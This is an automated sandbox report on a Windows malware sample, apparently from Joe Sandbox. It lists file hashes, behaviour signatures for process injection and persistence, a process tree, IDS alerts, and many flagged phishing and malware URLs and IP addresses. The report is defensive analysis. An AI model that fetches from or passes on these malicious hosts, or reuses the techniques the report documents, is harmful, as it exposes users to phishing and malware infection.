Edit tour

Windows Analysis Report
5SGOAKv7AR.exe

Overview

General Information

Sample name:	5SGOAKv7AR.exe renamed because original name is a hash value
Original sample name:	Virus.Injector.ATA_virussign.com_36ec3a51b474cf8210bc02444a290499.exe
Analysis ID:	1506041
MD5:	36ec3a51b474cf8210bc02444a290499
SHA1:	86f147291649382badbbea123bc94fbab1167770
SHA256:	71d84a18e3cba7a496b6e2a4ab14ec7f6b5c82d7d9fa9b86863e23b7161886ce
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Allocates memory in foreign processes

Contains functionality to check for running processes (XOR)

Creates an undocumented autostart registry key

Drops executables to the windows directory (C:\Windows) and starts them

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Tries to resolve many domain names, but no domain seems valid

Writes to foreign memory regions

Connects to many different domains

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Executes massive DNS lookups (> 100)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

5SGOAKv7AR.exe (PID: 7988 cmdline: "C:\Users\user\Desktop\5SGOAKv7AR.exe" MD5: 36EC3A51B474CF8210BC02444A290499)

edsuvoov-usum.exe (PID: 8004 cmdline: "C:\Windows\system32\edsuvoov-usum.exe" MD5: 36EC3A51B474CF8210BC02444A290499)

edsuvoov-usum.exe (PID: 8032 cmdline: --k33p MD5: 36EC3A51B474CF8210BC02444A290499)

winlogon.exe (PID: 556 cmdline: winlogon.exe MD5: B2AD768FF9A9DE3D886825A59DEF307A)

explorer.exe (PID: 640 cmdline: C:\Windows\Explorer.EXE MD5: 574AF6D80FE7CC6422A8592DE7A39F78)

cleanup

Sigma Signatures

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: BB 12 51 95 2A 01 DB 01 F4 D8 AB 33 00 00 00 00 32 00 , EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\edsuvoov-usum.exe, ProcessId: 8004, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy\Default Flags

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-07T15:34:00.578045+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	49711	172.234.222.138	80	TCP
2024-09-07T15:34:02.076876+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	49714	172.234.222.138	80	TCP
2024-09-07T15:34:03.385889+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	49717	172.234.222.138	80	TCP
2024-09-07T15:34:04.549358+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	49720	172.234.222.138	80	TCP
2024-09-07T15:34:07.602203+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	49723	172.234.222.138	80	TCP
2024-09-07T15:34:09.377835+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	49727	172.234.222.138	80	TCP
2024-09-07T15:34:10.782137+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	49730	172.234.222.138	80	TCP
2024-09-07T15:34:11.943025+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	60144	172.234.222.138	80	TCP
2024-09-07T15:34:14.444162+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	60147	172.234.222.138	80	TCP
2024-09-07T15:34:16.063797+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	60150	172.234.222.138	80	TCP
2024-09-07T15:34:17.710181+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	60153	172.234.222.138	80	TCP
2024-09-07T15:34:21.125373+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	60156	172.234.222.138	80	TCP
2024-09-07T15:34:22.269473+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	60159	172.234.222.138	80	TCP
2024-09-07T15:34:27.974081+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61353	172.234.222.138	80	TCP
2024-09-07T15:34:29.285083+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61356	172.234.222.138	80	TCP
2024-09-07T15:34:31.589262+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61359	172.234.222.138	80	TCP
2024-09-07T15:34:33.497866+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61362	172.234.222.138	80	TCP
2024-09-07T15:34:35.500892+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61365	172.234.222.138	80	TCP
2024-09-07T15:34:37.722425+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61368	172.234.222.138	80	TCP
2024-09-07T15:34:39.301067+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61371	172.234.222.138	80	TCP
2024-09-07T15:34:40.427839+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61374	172.234.222.138	80	TCP
2024-09-07T15:34:41.571898+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61377	172.234.222.138	80	TCP
2024-09-07T15:34:44.768083+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61380	172.234.222.138	80	TCP
2024-09-07T15:34:46.821951+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61383	172.234.222.138	80	TCP
2024-09-07T15:34:47.972475+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61386	172.234.222.138	80	TCP
2024-09-07T15:34:50.366734+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61390	172.234.222.138	80	TCP
2024-09-07T15:34:52.160381+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61393	172.234.222.138	80	TCP
2024-09-07T15:34:56.866690+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61396	172.234.222.138	80	TCP
2024-09-07T15:34:57.993794+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61399	172.234.222.138	80	TCP
2024-09-07T15:34:59.721753+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61402	172.234.222.138	80	TCP
2024-09-07T15:35:00.943860+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61405	172.234.222.138	80	TCP
2024-09-07T15:35:02.750202+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61408	172.234.222.138	80	TCP
2024-09-07T15:35:08.437881+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61411	172.234.222.138	80	TCP
2024-09-07T15:35:10.098969+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61414	172.234.222.138	80	TCP
2024-09-07T15:35:12.355887+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61417	172.234.222.138	80	TCP
2024-09-07T15:35:15.386927+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61420	172.234.222.138	80	TCP
2024-09-07T15:35:16.535147+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61423	172.234.222.138	80	TCP
2024-09-07T15:35:17.819038+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61426	172.234.222.138	80	TCP
2024-09-07T15:35:19.003453+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61429	172.234.222.138	80	TCP
2024-09-07T15:35:23.449138+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61430	45.79.222.138	80	TCP
2024-09-07T15:35:24.469879+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61432	172.234.222.138	80	TCP
2024-09-07T15:35:26.689706+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61435	172.234.222.138	80	TCP
2024-09-07T15:35:29.328844+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61438	172.234.222.138	80	TCP
2024-09-07T15:35:33.043803+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61441	172.234.222.138	80	TCP
2024-09-07T15:35:36.181066+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61444	172.234.222.138	80	TCP
2024-09-07T15:35:40.460196+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61447	172.234.222.138	80	TCP
2024-09-07T15:35:41.302953+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61448	45.79.222.138	80	TCP
2024-09-07T15:35:42.332876+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61450	172.234.222.138	80	TCP
2024-09-07T15:35:43.516511+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61453	172.234.222.138	80	TCP
2024-09-07T15:35:45.321573+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61456	172.234.222.138	80	TCP
2024-09-07T15:35:46.486434+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61459	172.234.222.138	80	TCP
2024-09-07T15:35:48.261478+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61462	172.234.222.138	80	TCP
2024-09-07T15:35:49.878449+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61465	172.234.222.138	80	TCP
2024-09-07T15:35:51.754983+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61468	172.234.222.138	80	TCP
2024-09-07T15:35:52.920888+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61471	172.234.222.138	80	TCP
2024-09-07T15:35:54.517786+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61474	172.234.222.138	80	TCP
2024-09-07T15:35:55.708386+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61477	172.234.222.138	80	TCP
2024-09-07T15:35:56.877125+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61480	172.234.222.138	80	TCP
2024-09-07T15:36:00.341616+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61483	172.234.222.138	80	TCP
2024-09-07T15:36:01.656642+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61486	172.234.222.138	80	TCP
2024-09-07T15:36:02.760612+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61489	172.234.222.138	80	TCP
2024-09-07T15:36:04.580917+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61492	172.234.222.138	80	TCP
2024-09-07T15:36:06.523901+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61495	172.234.222.138	80	TCP
2024-09-07T15:36:07.698145+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61498	172.234.222.138	80	TCP
2024-09-07T15:36:08.904506+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61501	172.234.222.138	80	TCP
2024-09-07T15:36:10.350393+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61504	172.234.222.138	80	TCP
2024-09-07T15:36:12.124138+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61507	172.234.222.138	80	TCP
2024-09-07T15:36:14.015052+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61510	172.234.222.138	80	TCP
2024-09-07T15:36:15.961660+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61513	172.234.222.138	80	TCP
2024-09-07T15:36:20.934077+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61516	172.234.222.138	80	TCP
2024-09-07T15:36:22.805211+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61519	172.234.222.138	80	TCP
2024-09-07T15:36:24.073471+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61522	172.234.222.138	80	TCP
2024-09-07T15:36:25.284684+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	61525	172.234.222.138	80	TCP
2024-09-07T15:36:27.709918+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55700	172.234.222.138	80	TCP
2024-09-07T15:36:30.147412+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55703	172.234.222.138	80	TCP
2024-09-07T15:36:31.312671+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55706	172.234.222.138	80	TCP
2024-09-07T15:36:32.991169+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55709	172.234.222.138	80	TCP
2024-09-07T15:36:34.127889+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55712	172.234.222.138	80	TCP
2024-09-07T15:36:35.299131+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55715	172.234.222.138	80	TCP
2024-09-07T15:36:38.585530+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55718	172.234.222.138	80	TCP
2024-09-07T15:36:39.885676+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55721	172.234.222.138	80	TCP
2024-09-07T15:36:40.986444+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55724	172.234.222.138	80	TCP
2024-09-07T15:36:42.632345+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55727	172.234.222.138	80	TCP
2024-09-07T15:36:44.790160+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55730	172.234.222.138	80	TCP
2024-09-07T15:36:45.909674+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55733	172.234.222.138	80	TCP
2024-09-07T15:36:47.198197+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55736	172.234.222.138	80	TCP
2024-09-07T15:36:48.573700+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55739	172.234.222.138	80	TCP
2024-09-07T15:36:50.591502+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55742	172.234.222.138	80	TCP
2024-09-07T15:36:52.192030+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55745	172.234.222.138	80	TCP
2024-09-07T15:36:54.933972+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	55475	172.234.222.138	80	TCP
2024-09-07T15:37:00.392607+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56438	172.234.222.138	80	TCP
2024-09-07T15:37:02.606729+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56441	172.234.222.138	80	TCP
2024-09-07T15:37:03.738144+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56444	172.234.222.138	80	TCP
2024-09-07T15:37:04.919872+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56447	172.234.222.138	80	TCP
2024-09-07T15:37:07.129185+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56450	172.234.222.138	80	TCP
2024-09-07T15:37:09.417507+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56453	172.234.222.138	80	TCP
2024-09-07T15:37:10.582691+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56456	172.234.222.138	80	TCP
2024-09-07T15:37:12.332661+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56459	172.234.222.138	80	TCP
2024-09-07T15:37:13.466719+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56462	172.234.222.138	80	TCP
2024-09-07T15:37:14.760158+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56465	172.234.222.138	80	TCP
2024-09-07T15:37:18.225915+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56468	172.234.222.138	80	TCP
2024-09-07T15:37:19.812830+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56471	172.234.222.138	80	TCP
2024-09-07T15:37:20.960270+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56474	172.234.222.138	80	TCP
2024-09-07T15:37:22.460561+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56477	172.234.222.138	80	TCP
2024-09-07T15:37:24.627125+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56480	172.234.222.138	80	TCP
2024-09-07T15:37:25.765520+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56483	172.234.222.138	80	TCP
2024-09-07T15:37:26.912057+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56486	172.234.222.138	80	TCP
2024-09-07T15:37:28.668216+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56489	172.234.222.138	80	TCP
2024-09-07T15:37:30.435293+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56492	172.234.222.138	80	TCP
2024-09-07T15:37:32.043608+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56495	172.234.222.138	80	TCP
2024-09-07T15:37:34.291256+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56498	172.234.222.138	80	TCP
2024-09-07T15:37:38.068355+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56501	172.234.222.138	80	TCP
2024-09-07T15:37:40.208226+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56504	172.234.222.138	80	TCP
2024-09-07T15:37:41.370321+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56507	172.234.222.138	80	TCP
2024-09-07T15:37:42.473745+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56510	172.234.222.138	80	TCP
2024-09-07T15:37:45.164000+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56513	172.234.222.138	80	TCP
2024-09-07T15:37:47.582878+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56516	172.234.222.138	80	TCP
2024-09-07T15:37:48.694007+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56519	172.234.222.138	80	TCP
2024-09-07T15:37:50.394372+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56522	172.234.222.138	80	TCP
2024-09-07T15:37:51.532926+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56525	172.234.222.138	80	TCP
2024-09-07T15:37:52.699955+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	56528	172.234.222.138	80	TCP
2024-09-07T15:37:56.463532+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	62902	172.234.222.138	80	TCP
2024-09-07T15:37:58.068286+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	62905	172.234.222.138	80	TCP
2024-09-07T15:37:59.261504+0200	2803270	2	Potentially Bad Traffic	192.168.2.3	62908	172.234.222.138	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 5SGOAKv7AR.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://utbidet-ugeas.biz/d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869F	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?025085CC3A5785CC3A6285E43A508542E9C4BD646051850C925286FA1462ABF50860B5E23A	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0259BA88095EBA88096BBAA00959BA06DACD82205358BA48A15BB9BE276B94B13B698AA609	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02A8ABCE52AFABCE529AABE652A8AB40813C936608A9AB0EFAAAA8F87C9A85F760989BE052	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?022257A5E92557A5E910578DE922572B3AB66F0DB323576541205493C710799CDB12678	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC43	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC435D1	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B86858828A	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51531	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AFB92	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C4A6	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?027812AD6B7F12AD6B4A12856B781223B8EC2A053179126DC37A119B454A3C94594822836B	Avira URL Cloud: Label: phishing
Source: http://ww99.utbidet-ugeas.biz/d/N?028C86	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65947	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C1	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EFA8DFA	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275F5D	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394DE6	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53DA7	Avira URL Cloud: Label: phishing
Source: http://ww99.utbidet-ugeas.biz/d/N?0263D5344564D5344551D51C4563D5BA96F7ED9C1F62D5F4ED61D6026B51FB0D77	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E6	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0235A3ED6032A3ED6007A3C56035A363B3A19B453A34A32DC837A0DB4E078DD4520593C	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F8649019	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458F07	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?021685246B1185246B24850C6B1685AAB882BD8C311785E4C31486124524AB1D5926B50A6B	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02E9217EECEE217EECDB2156ECE921F03F7D19D6B6E821BE44EB2248C2DB0F47DED91150EC	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02B2F2472FB5F2472F80F26F2FB2F2C9FC26CAEF75B3F28787B0F1710180DC7E1D82C2692F	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7	Avira URL Cloud: Label: phishing
Source: http://ww99.utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AF	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02A8EA4905AFEA49059AEA6105A8EAC7D63CD2E15FA9EA89ADAAE97F2B9AC4703798DA6	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C821	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0244C4EA6D43C4EA6D76C4C26D44C464BED0FC423745C42AC546C7DC4376EAD35F74F4C46D	Avira URL Cloud: Label: phishing
Source: http://wfnsamu.st/L	Avira URL Cloud: Label: malware
Source: http://utbidet-ugeas.biz/d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D3B3	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?027124AD727624AD7243248572712423A1E51C052870246DDA73279B5C430A944041148	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02607BE3D5677BE3D5527BCBD5607B6D06F4434B8F617B237D6278D5FB5255DAE7504BCDD5	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C189F	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?025C90F0795C90F0796E90DC795C907EAAC8A858235D9030D15E93C6576EBEC94B6CA0DE79	Avira URL Cloud: Label: phishing
Source: http://ww99.utbidet-ugeas.biz/d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FB	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D5A1	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53	Avira URL Cloud: Label: phishing
Source: http://ww99.utbidet-ugeas.biz/d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E16554	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?023449DD0C3349DD0C0649B50C344953DFA071755635491DA4364AEB220667E43E0479F	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0238A005623FA005620AA02D6238A08BB1AC98AD3839A0C5CA3AA3334C0A8E3C5008902B62	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7379	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F887	Avira URL Cloud: Label: phishing
Source: http://ww99.utbidet-ugeas.biz/d/N?0216856	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B0C2	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?0249C8E2654EC8E2657BC8CA6549C86CB6DDF04A3F48C822CD4BCBD44B7BE6DB5779F8C	Avira URL Cloud: Label: phishing
Source: http://utbidet-ugeas.biz/d/N?02807A0D42877A0D42B27A2542807A83911442A518817ACDEA82793B6CB2543470B04A2342	Avira URL Cloud: Label: phishing
